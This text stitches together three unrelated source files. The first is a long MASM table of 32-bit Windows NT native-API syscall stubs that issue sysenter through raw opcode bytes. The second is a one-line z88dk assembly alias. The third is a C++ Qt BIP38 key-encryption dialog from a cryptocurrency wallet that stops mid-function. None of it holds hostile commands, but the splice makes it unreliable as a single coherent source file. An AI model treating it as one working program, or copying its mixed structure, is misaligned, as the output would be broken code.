_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelTimer ENDP
; ULONG __stdcall NtCancelSynchronousIoFile( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCancelSynchronousIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 401
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelSynchronousIoFile ENDP
; ULONG __stdcall NtCancelIoFileEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCancelIoFileEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 402
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelIoFileEx ENDP
; ULONG __stdcall NtCancelIoFile( ULONG arg_01 , ULONG arg_02 );
NtCancelIoFile PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 403
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCancelIoFile ENDP
; ULONG __stdcall NtCallEnclave( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCallEnclave PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 404
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCallEnclave ENDP
; ULONG __stdcall NtCallbackReturn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtCallbackReturn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 405
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCallbackReturn ENDP
; ULONG __stdcall NtAssociateWaitCompletionPacket( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAssociateWaitCompletionPacket PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 406
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAssociateWaitCompletionPacket ENDP
; ULONG __stdcall NtAssignProcessToJobObject( ULONG arg_01 , ULONG arg_02 );
NtAssignProcessToJobObject PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 407
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAssignProcessToJobObject ENDP
; ULONG __stdcall NtAreMappedFilesTheSame( ULONG arg_01 , ULONG arg_02 );
NtAreMappedFilesTheSame PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 408
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAreMappedFilesTheSame ENDP
; ULONG __stdcall NtApphelpCacheControl( ULONG arg_01 , ULONG arg_02 );
NtApphelpCacheControl PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 409
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtApphelpCacheControl ENDP
; ULONG __stdcall NtAlpcSetInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAlpcSetInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 410
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcSetInformation ENDP
; ULONG __stdcall NtAlpcSendWaitReceivePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
NtAlpcSendWaitReceivePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 411
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcSendWaitReceivePort ENDP
; ULONG __stdcall NtAlpcRevokeSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcRevokeSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 412
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcRevokeSecurityContext ENDP
; ULONG __stdcall NtAlpcQueryInformationMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcQueryInformationMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 413
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcQueryInformationMessage ENDP
; ULONG __stdcall NtAlpcQueryInformation( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
NtAlpcQueryInformation PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 414
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcQueryInformation ENDP
; ULONG __stdcall NtAlpcOpenSenderThread( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcOpenSenderThread PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 415
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcOpenSenderThread ENDP
; ULONG __stdcall NtAlpcOpenSenderProcess( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcOpenSenderProcess PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 416
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcOpenSenderProcess ENDP
; ULONG __stdcall NtAlpcImpersonateClientOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcImpersonateClientOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 417
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcImpersonateClientOfPort ENDP
; ULONG __stdcall NtAlpcImpersonateClientContainerOfPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcImpersonateClientContainerOfPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 418
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcImpersonateClientContainerOfPort ENDP
; ULONG __stdcall NtAlpcDisconnectPort( ULONG arg_01 , ULONG arg_02 );
NtAlpcDisconnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 419
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDisconnectPort ENDP
; ULONG __stdcall NtAlpcDeleteSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 420
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteSecurityContext ENDP
; ULONG __stdcall NtAlpcDeleteSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 421
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteSectionView ENDP
; ULONG __stdcall NtAlpcDeleteResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeleteResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 422
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeleteResourceReserve ENDP
; ULONG __stdcall NtAlpcDeletePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcDeletePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 423
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcDeletePortSection ENDP
; ULONG __stdcall NtAlpcCreateSecurityContext( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreateSecurityContext PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 424
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateSecurityContext ENDP
; ULONG __stdcall NtAlpcCreateSectionView( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreateSectionView PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 425
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateSectionView ENDP
; ULONG __stdcall NtAlpcCreateResourceReserve( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAlpcCreateResourceReserve PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 426
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreateResourceReserve ENDP
; ULONG __stdcall NtAlpcCreatePortSection( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAlpcCreatePortSection PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 427
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreatePortSection ENDP
; ULONG __stdcall NtAlpcCreatePort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCreatePort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 428
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCreatePort ENDP
; ULONG __stdcall NtAlpcConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAlpcConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 429
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcConnectPort ENDP
; ULONG __stdcall NtAlpcConnectPortEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAlpcConnectPortEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 430
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcConnectPortEx ENDP
; ULONG __stdcall NtAlpcCancelMessage( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAlpcCancelMessage PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 431
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcCancelMessage ENDP
; ULONG __stdcall NtAlpcAcceptConnectPort( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 );
NtAlpcAcceptConnectPort PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD
mov eax , 432
call _label_sysenter
ret 36
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlpcAcceptConnectPort ENDP
; ULONG __stdcall NtAllocateVirtualMemory( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAllocateVirtualMemory PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 433
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateVirtualMemory ENDP
; ULONG __stdcall NtAllocateUuids( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAllocateUuids PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 434
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateUuids ENDP
; ULONG __stdcall NtAllocateUserPhysicalPages( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAllocateUserPhysicalPages PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 435
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateUserPhysicalPages ENDP
; ULONG __stdcall NtAllocateReserveObject( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAllocateReserveObject PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 436
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateReserveObject ENDP
; ULONG __stdcall NtAllocateLocallyUniqueId( ULONG arg_01 );
NtAllocateLocallyUniqueId PROC STDCALL arg_01:DWORD
mov eax , 437
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAllocateLocallyUniqueId ENDP
; ULONG __stdcall NtAlertThreadByThreadId( ULONG arg_01 );
NtAlertThreadByThreadId PROC STDCALL arg_01:DWORD
mov eax , 438
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertThreadByThreadId ENDP
; ULONG __stdcall NtAlertThread( ULONG arg_01 );
NtAlertThread PROC STDCALL arg_01:DWORD
mov eax , 439
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertThread ENDP
; ULONG __stdcall NtAlertResumeThread( ULONG arg_01 , ULONG arg_02 );
NtAlertResumeThread PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 440
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAlertResumeThread ENDP
; ULONG __stdcall NtAdjustPrivilegesToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAdjustPrivilegesToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 441
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustPrivilegesToken ENDP
; ULONG __stdcall NtAdjustGroupsToken( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
NtAdjustGroupsToken PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 442
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustGroupsToken ENDP
; ULONG __stdcall NtAdjustTokenClaimsAndDeviceGroups( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAdjustTokenClaimsAndDeviceGroups PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 443
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAdjustTokenClaimsAndDeviceGroups ENDP
; ULONG __stdcall NtAddDriverEntry( ULONG arg_01 , ULONG arg_02 );
NtAddDriverEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 444
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddDriverEntry ENDP
; ULONG __stdcall NtAddBootEntry( ULONG arg_01 , ULONG arg_02 );
NtAddBootEntry PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 445
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddBootEntry ENDP
; ULONG __stdcall NtAddAtom( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAddAtom PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 446
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddAtom ENDP
; ULONG __stdcall NtAddAtomEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtAddAtomEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 447
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAddAtomEx ENDP
; ULONG __stdcall NtAcquireProcessActivityReference( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtAcquireProcessActivityReference PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 448
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAcquireProcessActivityReference ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarmByHandle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 , ULONG arg_17 );
NtAccessCheckByTypeResultListAndAuditAlarmByHandle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD , arg_17:DWORD
mov eax , 449
call _label_sysenter
ret 68
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultListAndAuditAlarmByHandle ENDP
; ULONG __stdcall NtAccessCheckByTypeResultListAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAccessCheckByTypeResultListAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 450
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultListAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByTypeResultList( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckByTypeResultList PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 451
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeResultList ENDP
; ULONG __stdcall NtAccessCheckByTypeAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
NtAccessCheckByTypeAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 452
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByTypeAndAuditAlarm ENDP
; ULONG __stdcall NtAccessCheckByType( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckByType PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 453
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckByType ENDP
; ULONG __stdcall NtAccessCheckAndAuditAlarm( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
NtAccessCheckAndAuditAlarm PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 454
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtAccessCheckAndAuditAlarm ENDP
; ULONG __stdcall NtSetInformationSymbolicLink( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtSetInformationSymbolicLink PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 455
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtSetInformationSymbolicLink ENDP
; ULONG __stdcall NtCreateRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
NtCreateRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 456
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCreateRegistryTransaction ENDP
; ULONG __stdcall NtOpenRegistryTransaction( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
NtOpenRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 457
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtOpenRegistryTransaction ENDP
; ULONG __stdcall NtCommitRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
NtCommitRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 458
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtCommitRegistryTransaction ENDP
; ULONG __stdcall NtRollbackRegistryTransaction( ULONG arg_01 , ULONG arg_02 );
NtRollbackRegistryTransaction PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 459
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
NtRollbackRegistryTransaction ENDP
|
SECTION code_clib
SECTION code_fp_math48
PUBLIC asm_dequate
EXTERN am48_dequate
defc asm_dequate = am48_dequate
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2017-2018 The Stakinglab Coin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "bip38tooldialog.h"
#include "ui_bip38tooldialog.h"
#include "addressbookpage.h"
#include "guiutil.h"
#include "walletmodel.h"
#include "base58.h"
#include "bip38.h"
#include "init.h"
#include "wallet.h"
#include "askpassphrasedialog.h"
#include <string>
#include <vector>
#include <QClipboard>
Bip38ToolDialog::Bip38ToolDialog(QWidget* parent) : QDialog(parent, Qt::WindowSystemMenuHint | Qt::WindowTitleHint | Qt::WindowCloseButtonHint),
ui(new Ui::Bip38ToolDialog),
model(0)
{
ui->setupUi(this);
ui->decryptedKeyOut_DEC->setPlaceholderText(tr("Click \"Decrypt Key\" to compute key"));
GUIUtil::setupAddressWidget(ui->addressIn_ENC, this);
ui->addressIn_ENC->installEventFilter(this);
ui->passphraseIn_ENC->installEventFilter(this);
ui->encryptedKeyOut_ENC->installEventFilter(this);
ui->encryptedKeyIn_DEC->installEventFilter(this);
ui->passphraseIn_DEC->installEventFilter(this);
ui->decryptedKeyOut_DEC->installEventFilter(this);
}
Bip38ToolDialog::~Bip38ToolDialog()
{
delete ui;
}
void Bip38ToolDialog::setModel(WalletModel* model)
{
this->model = model;
}
void Bip38ToolDialog::setAddress_ENC(const QString& address)
{
ui->addressIn_ENC->setText(address);
ui->passphraseIn_ENC->setFocus();
}
void Bip38ToolDialog::setAddress_DEC(const QString& address)
{
ui->encryptedKeyIn_DEC->setText(address);
ui->passphraseIn_DEC->setFocus();
}
void Bip38ToolDialog::showTab_ENC(bool fShow)
{
ui->tabWidget->setCurrentIndex(0);
if (fShow)
this->show();
}
void Bip38ToolDialog::showTab_DEC(bool fShow)
{
ui->tabWidget->setCurrentIndex(1);
if (fShow)
this->show();
}
void Bip38ToolDialog::on_addressBookButton_ENC_clicked()
{
if (model && model->getAddressTableModel()) {
AddressBookPage dlg(AddressBookPage::ForSelection, AddressBookPage::ReceivingTab, this);
dlg.setModel(model->getAddressTableModel());
if (dlg.exec()) {
setAddress_ENC(dlg.getReturnValue());
}
}
}
void Bip38ToolDialog::on_pasteButton_ENC_clicked()
{
setAddress_ENC(QApplication::clipboard()->text());
}
QString specialChar = "\"@!#$%&'()*+,-./:;<=>?`{|}~^_[]\\";
QString validChar = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" + specialChar;
bool isValidPassphrase(QString strPassphrase, QString& strInvalid)
{
for (int i = 0; i < strPassphrase.size(); i++) {
if (!validChar.contains(strPassphrase[i], Qt::CaseSensitive)) {
if (QString("\"'").contains(strPassphrase[i]))
continue;
strInvalid = strPassphrase[i];
return false;
}
}
return true;
}
void Bip38ToolDialog::on_encryptKeyButton_ENC_clicked()
{
if (!model)
return;
